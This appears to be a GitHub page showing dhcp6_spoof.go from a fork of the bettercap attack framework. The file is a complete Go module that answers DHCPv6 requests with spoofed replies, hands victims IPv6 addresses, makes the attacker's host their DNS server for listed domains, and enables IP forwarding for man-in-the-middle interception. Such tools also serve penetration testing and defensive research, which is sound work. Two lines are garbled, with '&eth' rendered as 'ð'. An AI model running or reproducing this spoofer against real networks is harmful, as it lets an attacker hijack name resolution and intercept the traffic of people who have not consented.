forked from bettercap/bettercap
/
dhcp6_spoof.go
387 lines (314 loc) · 9.56 KB
/
dhcp6_spoof.go
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package modules
import (
"bytes"
"crypto/rand"
"fmt"
"net"
"strings"
"sync"
"time"
"github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
// TODO: refactor to use gopacket when gopacket folks
// will fix this > https://github.com/google/gopacket/issues/334
"github.com/mdlayher/dhcp6"
"github.com/mdlayher/dhcp6/dhcp6opts"
"github.com/evilsocket/islazy/tui"
)
type DHCP6Spoofer struct {
session.SessionModule
Handle *pcap.Handle
DUID *dhcp6opts.DUIDLLT
DUIDRaw []byte
Domains []string
RawDomains []byte
waitGroup *sync.WaitGroup
pktSourceChan chan gopacket.Packet
}
func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
spoof := &DHCP6Spoofer{
SessionModule: session.NewSessionModule("dhcp6.spoof", s),
Handle: nil,
waitGroup: &sync.WaitGroup{},
}
spoof.AddParam(session.NewStringParameter("dhcp6.spoof.domains",
"microsoft.com, google.com, facebook.com, apple.com, twitter.com",
``,
"Comma separated values of domain names to spoof."))
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
"Start the DHCPv6 spoofer in the background.",
func(args []string) error {
return spoof.Start()
}))
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
"Stop the DHCPv6 spoofer in the background.",
func(args []string) error {
return spoof.Stop()
}))
return spoof
}
func (s DHCP6Spoofer) Name() string {
return "dhcp6.spoof"
}
func (s DHCP6Spoofer) Description() string {
return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
}
func (s DHCP6Spoofer) Author() string {
return "Simone Margaritelli <evilsocket@protonmail.com>"
}
func (s *DHCP6Spoofer) Configure() error {
var err error
if s.Running() {
return session.ErrAlreadyStarted
}
if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
return err
}
err = s.Handle.SetBPFFilter("ip6 and udp")
if err != nil {
return err
}
if err, s.Domains = s.ListParam("dhcp6.spoof.domains"); err != nil {
return err
}
s.RawDomains = packets.DHCP6EncodeList(s.Domains)
if s.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), s.Session.Interface.HW); err != nil {
return err
} else if s.DUIDRaw, err = s.DUID.MarshalBinary(); err != nil {
return err
}
if !s.Session.Firewall.IsForwardingEnabled() {
log.Info("Enabling forwarding.")
s.Session.Firewall.EnableForwarding(true)
}
return nil
}
func (s *DHCP6Spoofer) dhcp6For(what dhcp6.MessageType, to dhcp6.Packet) (err error, p dhcp6.Packet) {
err, p = packets.DHCP6For(what, to, s.DUIDRaw)
if err != nil {
return
}
p.Options.AddRaw(packets.DHCP6OptDNSServers, s.Session.Interface.IPv6)
p.Options.AddRaw(packets.DHCP6OptDNSDomains, s.RawDomains)
return nil, p
}
func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
fqdn := target.String()
if raw, found := solicit.Options[packets.DHCP6OptClientFQDN]; found && len(raw) >= 1 {
fqdn = string(raw[0])
}
log.Info("[%s] Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", tui.Green("dhcp6"), tui.Bold(fqdn), target, len(s.Domains))
err, adv := s.dhcp6For(dhcp6.MessageTypeAdvertise, solicit)
if err != nil {
log.Error("%s", err)
return
}
var solIANA dhcp6opts.IANA
if raw, found := solicit.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
log.Error("Unexpected DHCPv6 packet, could not find IANA.")
return
} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
log.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
return
}
var ip net.IP
if h, found := s.Session.Lan.Get(target.String()); found {
ip = h.IP
} else {
log.Warning("Address %s not known, using random identity association address.", target.String())
rand.Read(ip)
}
addr := fmt.Sprintf("%s%s", packets.IPv6Prefix, strings.Replace(ip.String(), ".", ":", -1))
iaaddr, err := dhcp6opts.NewIAAddr(net.ParseIP(addr), 300*time.Second, 300*time.Second, nil)
if err != nil {
log.Error("Error creating IAAddr: %s", err)
return
}
iaaddrRaw, err := iaaddr.MarshalBinary()
if err != nil {
log.Error("Error serializing IAAddr: %s", err)
return
}
opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}}
iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
ianaRaw, err := iana.MarshalBinary()
if err != nil {
log.Error("Error serializing IANA: %s", err)
return
}
adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
rawAdv, err := adv.MarshalBinary()
if err != nil {
log.Error("Error serializing advertisement packet: %s.", err)
return
}
eth := layers.Ethernet{
SrcMAC: s.Session.Interface.HW,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv6,
}
ip6 := layers.IPv6{
Version: 6,
NextHeader: layers.IPProtocolUDP,
HopLimit: 64,
SrcIP: s.Session.Interface.IPv6,
DstIP: pip6.SrcIP,
}
udp := layers.UDP{
SrcPort: 547,
DstPort: 546,
}
udp.SetNetworkLayerForChecksum(&ip6)
dhcp := packets.DHCPv6Layer{
Raw: rawAdv,
}
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.Session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) {
log.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", tui.Bold(target.String()), toType)
err, reply := s.dhcp6For(dhcp6.MessageTypeReply, req)
if err != nil {
log.Error("%s", err)
return
}
var reqIANA dhcp6opts.IANA
if raw, found := req.Options[dhcp6.OptionIANA]; !found || len(raw) < 1 {
log.Error("Unexpected DHCPv6 packet, could not find IANA.")
return
} else if err := reqIANA.UnmarshalBinary(raw[0]); err != nil {
log.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
return
}
var reqIAddr []byte
if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
reqIAddr = raw[0]
} else {
log.Error("Unexpected DHCPv6 packet, could not deserialize request IANA IAAddr.")
return
}
opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{reqIAddr}}
iana := dhcp6opts.NewIANA(reqIANA.IAID, 200*time.Second, 250*time.Second, opts)
ianaRaw, err := iana.MarshalBinary()
if err != nil {
log.Error("Error serializing IANA: %s", err)
return
}
reply.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
rawAdv, err := reply.MarshalBinary()
if err != nil {
log.Error("Error serializing advertisement packet: %s.", err)
return
}
pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
eth := layers.Ethernet{
SrcMAC: s.Session.Interface.HW,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv6,
}
ip6 := layers.IPv6{
Version: 6,
NextHeader: layers.IPProtocolUDP,
HopLimit: 64,
SrcIP: s.Session.Interface.IPv6,
DstIP: pip6.SrcIP,
}
udp := layers.UDP{
SrcPort: 547,
DstPort: 546,
}
udp.SetNetworkLayerForChecksum(&ip6)
dhcp := packets.DHCPv6Layer{
Raw: rawAdv,
}
err, raw := packets.Serialize(ð, &ip6, &udp, &dhcp)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.Session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
if toType == "request" {
var addr net.IP
if raw, found := reqIANA.Options[dhcp6.OptionIAAddr]; found {
addr = net.IP(raw[0])
}
if h, found := s.Session.Lan.Get(target.String()); found {
log.Info("[%s] IPv6 address %s is now assigned to %s", tui.Green("dhcp6"), addr.String(), h)
} else {
log.Info("[%s] IPv6 address %s is now assigned to %s", tui.Green("dhcp6"), addr.String(), target)
}
} else {
log.Debug("DHCPv6 renew sent to %s", target)
}
}
func (s *DHCP6Spoofer) duidMatches(dhcp dhcp6.Packet) bool {
if raw, found := dhcp.Options[dhcp6.OptionServerID]; found && len(raw) >= 1 {
if bytes.Equal(raw[0], s.DUIDRaw) {
return true
}
}
return false
}
func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
var dhcp dhcp6.Packet
var err error
udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP)
if udp == nil {
return
}
// we just got a dhcp6 packet?
if err = dhcp.UnmarshalBinary(udp.Payload); err == nil {
eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet)
switch dhcp.MessageType {
case dhcp6.MessageTypeSolicit:
s.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
case dhcp6.MessageTypeRequest:
if s.duidMatches(dhcp) {
s.dhcpReply("request", pkt, dhcp, eth.SrcMAC)
}
case dhcp6.MessageTypeRenew:
if s.duidMatches(dhcp) {
s.dhcpReply("renew", pkt, dhcp, eth.SrcMAC)
}
}
}
}
func (s *DHCP6Spoofer) Start() error {
if err := s.Configure(); err != nil {
return err
}
return s.SetRunning(true, func() {
s.waitGroup.Add(1)
defer s.waitGroup.Done()
src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
s.pktSourceChan = src.Packets()
for packet := range s.pktSourceChan {
if !s.Running() {
break
}
s.onPacket(packet)
}
})
}
func (s *DHCP6Spoofer) Stop() error {
return s.SetRunning(false, func() {
s.pktSourceChan <- nil
s.Handle.Close()
s.waitGroup.Wait()
})
}